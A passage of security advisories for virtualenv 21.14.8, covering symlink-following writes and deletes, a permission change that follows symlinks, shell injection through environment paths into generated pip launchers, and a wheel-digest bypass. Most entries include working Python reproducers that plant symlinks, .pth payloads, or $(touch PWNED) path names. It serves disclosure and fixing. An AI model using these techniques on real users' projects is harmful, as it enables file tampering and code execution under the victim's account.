top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly.

Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Final file entries written during environment creation and seeding.

Attacker-controlled input

Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern.

Affected code

The relevant 21.14.8 source is in template writer, configuration writer.

Mechanism

ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true. A dangling symlink therefore survives, and write_bytes() creates its target outside the environment. Other generated files have related final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target.

Reproduction and evidence

The scanner's project tree contains venv/bin/activate -> ../../../.bash_aliases and an executable venv/bin/basename. Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation script through the dangling link, creating ~/.bash_aliases as a regular file. Debian's stock .bashrc sources that file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer checks that the link remains, ~/.bash_aliases appears, and the second shell executes the planted file. A separate manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. PR #3431 replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation.

Attack sequence

sequenceDiagram
    participant A as Prepared project tree
    participant V as virtualenv writer
    participant H as User home
    participant B as Next interactive bash
    A->>V: venv/bin/activate links to missing ~/.bash_aliases
    V->>V: Path.exists() follows link and returns false
    V->>H: write activation bytes through link
    H-->>B: ~/.bash_aliases now exists
    B->>H: .bashrc sources ~/.bash_aliases
    B->>A: PATH reaches planted venv/bin/basename
    A-->>B: marker created
    Note over V,H: pyvenv.cfg can also overwrite an existing linked target

Reproducer files

The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile

# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists
home = tempfile.mkdtemp(prefix="home-")
shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc")
bash_aliases = f"{home}/.bash_aliases"
marker = f"{home}/attacker-ran"
open_terminal = ["bash", "-i", "-c", "true"]
terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}

# the attacker's repository, cloned by the user to ~/proj
checkout = f"{home}/proj"
subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True)
activate = f"{checkout}/venv/bin/activate"
print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)

# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)
print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True)
assert not os.path.lexists(bash_aliases) and not os.path.exists(marker)

# trigger: the user creates an environment in the checkout, then opens a new terminal
subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)

# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases
print("venv/bin/activate is still the symlink:", os.path.islink(activate))
written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)
print("~/.bash_aliases created as a regular file:", written_outside)
if written_outside:
    print("  its first line:", open(bash_aliases).readline().rstrip())
attacker_code_ran = os.path.exists(marker)
print("after a new terminal, marker exists:", attacker_code_ran)
if attacker_code_ran:
    print("  it says:", open(marker).read().rstrip())
print("BUG" if written_outside and attacker_code_ran else "OK")

repro.d/fake_basename.sh

#!/bin/sh
echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran"
exec /usr/bin/basename "$@"

repro.d/make_hostile_checkout.py

import os
import shutil
import sys

checkout = sys.argv[1]
bin_dir = os.path.join(checkout, "venv", "bin")
os.makedirs(bin_dir)

# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist
os.symlink("../../../.bash_aliases", os.path.join(bin_dir, "activate"))

# the bash activation script runs $(basename "$VIRTUAL_ENV") right after putting venv/bin first on PATH
fake_basename = os.path.join(bin_dir, "basename")
shutil.copy(os.path.join(os.path.dirname(__file__), "fake_basename.sh"), fake_basename)
os.chmod(fake_basename, 0o755)

Impact

Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File contents are constrained by what virtualenv generates.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib writes still require a destination protected from concurrent replacement.

Fix: PR #3431.

Known mitigation

Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.

Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

Affected code

The relevant 21.14.8 source is in builtin creator, ensure_dir().

Mechanism

The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

Attack sequence

sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)


def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation


print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")

repro.d/checkout_with_bin_link.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

# one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

# relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")

repro.d/checkout_with_bin_link_staying_inside.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in safe_delete().

Mechanism

safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become 0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

sequenceDiagram
    participant A as Prepared read-only venv tree
    participant V as safe_delete error handler
    participant L as Symlink in venv
    participant K as User's 0400 key
    A->>V: virtualenv venv or --clear venv
    V->>L: unlink fails in 0555 directory
    V->>L: lstat returns link mode 0777
    V->>L: chmod follows symlink
    L->>K: target mode becomes 0777
    V-->>A: retry fails with PermissionError
    Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)


def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
    home = work / home_name
    archive = work / archive_name
    key = home / "keys" / "deploy.pem"
    key.parent.mkdir(parents=True)
    key.write_text("PRIVATE KEY\n")
    key.chmod(0o400)
    subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

    mode_before = stat.S_IMODE(key.stat().st_mode)
    command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
    result = subprocess.run(
        command,
        cwd=home / "proj",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    mode_after = stat.S_IMODE(key.stat().st_mode)

    print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
    print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
    return mode_before, mode_after


control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

# check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/make_project_archive.py

#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
    python_folder = tarfile.TarInfo("proj/venv/bin/python")
    python_folder.type = tarfile.DIRTYPE
    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
    archive.addfile(python_folder)

    link = tarfile.TarInfo("proj/venv/bin/python/entry")
    link.type = tarfile.SYMTYPE
    link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
    archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper.

Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path.

Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

Affected code

The relevant 21.14.8 source is in ScriptMakerCustom.

Mechanism

The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like '''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload.

Reproduction and evidence

The scanner created three environments: a control under my -touch PWNED- project, one under my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. PR #3417 quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's generated-script precedent. The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Wheel selection by the pip seeder when downloads are enabled.

Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

Affected code

The relevant 21.14.8 source is in pip seeder.

Mechanism

With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

Reproduction and evidence

The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

Attack sequence

sequenceDiagram
    participant I as Index in pip.conf
    participant V as virtualenv PipInvoke
    participant P as pip install
    participant E as Seeded environment
    I->>V: serve modified pip wheel
    V->>V: get_wheel(download=False)
    V->>P: install with --download permitting index lookup
    P->>I: select same-version index wheel
    I->>E: modified pip installed without virtualenv digest check
    E->>E: later pip invocation runs added code
    Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
    json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
    pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
    [*virtualenv, "--download", f"{work}/env-default"],
    env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
